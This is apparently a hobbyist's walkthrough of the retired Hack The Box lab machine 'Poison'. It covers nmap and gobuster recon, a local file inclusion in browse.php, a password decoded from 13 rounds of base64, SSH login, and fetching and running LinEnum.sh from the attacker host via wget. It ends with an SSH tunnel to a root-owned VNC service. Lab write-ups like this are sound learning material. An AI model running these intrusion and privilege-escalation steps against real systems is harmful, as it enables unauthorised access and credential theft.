Recon and finding something to exploit
Alrighty, start the box off as usual with a standard nmap scan:
[py]nmap -sV -sC -oA poison 10.10.10.84[/py]
Which gives us:
[py]# Nmap 7.70 scan initiated Tue Aug 28 11:04:01 2018 as: nmap -sC -sV -oA poison 10.10.10.84
Nmap scan report for 10.10.10.84
Host is up (0.044s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
| 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn’t have a title (text/html; charset=UTF-8).
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd[/py]
So, we’ve got an open SSH connection which probably something we will use later once we have some credentials to log in with, there’s usually not a reason to brute force an SSH connection but I have come across it before. Also an Apache server running some form of a site on port 80, so let’s first go see what’s going on there before we think about brute forcing the SSH connection. Also, since we’ve got a website to run against I’ll go ahead and start up gobuster in the background while we’re checking out the webpage.
[py]gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.84 -o gobustered[/py]
Note: I originally installed gobuster as a standalone application and got tired of having to type out the full path to my gobuster program so decided to add an alias that would run it, I followed the guide here for that.
Going to the website, we are greeted with this:
Okay, with that knowledge I went back, cancelled my gobuster run and modified it with the [py]-x php[/py] flag on it to run again. We got some hits almost immediately and after running for a few minutes came up with:
[py]/index.php (Status: 200)
/info.php (Status: 200)
/browse.php (Status: 200)[/py]
info.php was not entirely useful yet, but we did get a bit of enumeration for our troubles when we visit it:
[py]FreeBSD Poison 11.1-RELEASE FreeBSD 11.1-RELEASE #0 r321309: Fri Jul 21 02:08:28 UTC 2017 firstname.lastname@example.org:/usr/obj/usr/src/sys/GENERIC amd64[/py]
When we visit browse.php there’s some interesting details that pop up:
[py]Warning: include(): Filename cannot be empty in /usr/local/www/apache24/data/browse.php on line 2[/py]
Warning: include(): Failed opening ” for inclusion (include_path=’.:/usr/local/www/apache24/data’) in /usr/local/www/apache24/data/browse.php on line 2
That seems odd, maybe some sort of directory traversal we can mess with? We know it’s running a php script of some kind, so maybe there’s some sort of LFI we can take advantage of.
ini.php gives a large amount of data back but I couldn’t find anything useful in it:
listfiles.php, however… that’s that good stuff.
[py]This password is secure, it’s encoded atleast 13 times.. what could go wrong really.. Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo= [/py]
Okay, so with all things crypto I have found the hardest thing is identifying the type of encryption used. When I initially saw the hint “encoded 13 times” it made me think Rot13, but after running it through a Rot13 brute forcer didn’t get anything usable. Next, I decided to try base64 since the text looked like base64 and it is also a common encryption with CTF’s. This also didn’t work, then I realized … “encoded 13 times”. I ran the text through CyberChef and did the base64 decryption 13 times. Et voila…
Nice! So, we have something that looks like a password to me, now time to find a user for it. Let’s head back over to /browse.php?file= and see what else we can put in there, maybe something like a user…
list! I prettied up the users on the left side for readability, but we now have a user ‘charix’ and a password. Let’s see if ssh’ing in will work…
Alright, we’ve got a user.txt and secret.zip… time to work on root.
Enumerating as a user on the server
So we have access to the box now time to start some enumeration and figure out what this ‘secret.zip’ is all about.
Alright, so I’m going to be honest with you… I spent way too much time trying to figure out how to crack the secret.zip. I tried brute forcing, looking for exploits, throwing things around my room – seriously, I spent hours on this thing. The password was the same one as for the user, and I really overcomplicated the matter. But hey, we’ve got a secret file now ¯\_(ツ)_/¯
Unzip the file with [py]unzip secret.zip[/py] and enter in Charix’s password we’re given the ‘secret’ file. Catting out the contents and using ‘file’ on it, we don’t get a whole lot of information:
Okay, so not entirely useful – I have a feeling we’ll be able to use this file later for something, possibly another user’s ssh password. In the meantime, let’s do some enumeratin’. I test to see if we’ve got write access in the /tmp folder (I will usually put anything I do in the tmp folder, if anyone happens to come onto the box at the same time it’ll let them know this folder is probably not part of the box) with [py]mkdir /tmp/ok[/py] and change over to that directory to upload LinEnum so we can get some information on the box.
On our host machine, from the folder LinEnum.sh is in: [py]python -m SimpleHTTPServer[/py] that’ll start up a listener on port 8000. We can then connect to that from the Poison machine with [py]wget 10.10.14.5:8000/LinEnum.sh[/py] (replace that IP with your host IP) and get the file uploaded to the Poison box in the /tmp/ok folder. We’ll get the file executable with [py]chmod +x LinEnum.sh[/py] and finally run it with the ‘thorough’ flag [py]/bin/sh LinEnum.sh -t -e . > enum.txt [/py] which will run the enumeration and put the output in the folder we’re currently in /tmp/ok.
About enumeration: I have found in the brief time I’ve been working on these that this is the aspect to it that requires the most experience to be ‘good’ at. When looking through the output of any enumeration it’s really difficult to know exactly what you’re looking for, so as a complete noob to this I am essentially just googling every other thing I see because it sounds interesting. It usually ends up being something critical to the operating system, a trivial process that’s on every computer everywhere, or some other aspect of the operating system that was just something I had no idea about. This is where the most learning comes from, though… so eventually, when I google something for the 4th or 5th (or 11th or 14th) time it sticks.
So after searching through all that stuff in the enum.txt… I had nothing (of course I had everything, I just didn’t know what I was looking at). So the next step was to find out if there’s anything weird sending or receiving on the network with [py]netstat -an[/py]:
Ports 22, 80, and 25 are all familiar to me – what was weird was 5801 & 5901, and what did *.* mean with a Foreign address?
According to Wikipedia, VNC is: [py]a graphical desktop sharing system that uses the Remote Frame Buffer protocol (RFB) to remotely control another computer[/py]. Mmmm, graphical desktop sharing sounds pretty cool, so let’s go back to the enum.txt from earlier and see if there’s any ‘vnc’ related things.
[py]-r-xr-xr-x 1 root wheel 1035 Jan 24 2018 vncserver[/py]
Alright, so that seems like something good: the vnc service is run as root and with the “*.*” from earlier means we can do something called SSH tunneling with VNC.
To root and beyond
[py]tcp4 0 0 127.0.0.1.5901 *.* LISTEN[/py]
This output from [py]netstat -an[/py] tells us that we can connect to port 5901 internally… so how do we go about using this VNC listener from our local machine on the server’s machine but still appear as though we are on their server?
[py]ssh -L 5901:localhost:5901 email@example.com[/py]
This is the setup for the situation we need to orchestrate in order to get the server to listen to us and let me explain exactly what we’re doing:
What this says is listen to port 5901 on my local machine [py]<strong><u>5901</u></strong>:localhost:5901 firstname.lastname@example.org[/py]
Then connect to localhost from the remote machine I am SSH’d into [py]5901:<strong><u>localhost</u></strong>:5901 email@example.com[/py]
When we connect to the localhost, do so through port 5901 [py]5901:localhost:<strong><u>5901</u></strong> firstname.lastname@example.org[/py]
Finally, connect to the server as user Charix so that we are able to get to that internal port 5901 [py]5901:localhost:5901 <strong><u>email@example.com</u></strong>[/py]
Whew, so I hope I explained that well enough because it took a lot of googling and asking around from me before it finally clicked in my head as to how it was really working. I also took all those steps I listed above and wrote them out with pictures and arrows of my local and their remote machine, so… don’t be above drawing pictures, I guess.
Alright, so we have a listening port 5901 on our local machine that will forward the connection to port 5901 on the remote machine, so the next step is to actually connect to that. Using the [py]vncviewer[/py] command we will connect to our localhost on port 5901 with [py]vncviewer localhost:5901[/py] and we’re in!
Err, maybe not, then… after using the password we had as [py]charix[/py] we got an authentication error, so maybe it’s time to bust out that [py]secret[/py] file we had earlier. A quick google search tells us we can use password files with vnc by adding the [py]-passwd[/py] flag with the vncviewer program. Trying that command again from earlier but with that [py]secret[/py] file…
[py]vncviewer localhost:5901 -passwd secret[/py]
Woo! We’ve now got root, and with a cool little remote desktop we actually get to view.
I just did [py]cat root.txt > /tmp/ok/ok.txt[/py] and got the root flag from there with user charix.
charix@Poison:~ % cat user.txt
charix@Poison:~ % cat /tmp/ok/ok.txt
The biggest thing I learned from this had to do with SSH tunnels, just something that previously went completely over my head I now think I have an ok understanding of. There’s a lot you can do with SSH tunnels, especially if you’re on a network where you can’t access particular websites or servers, so I think this will turn out to be even more useful as time goes on.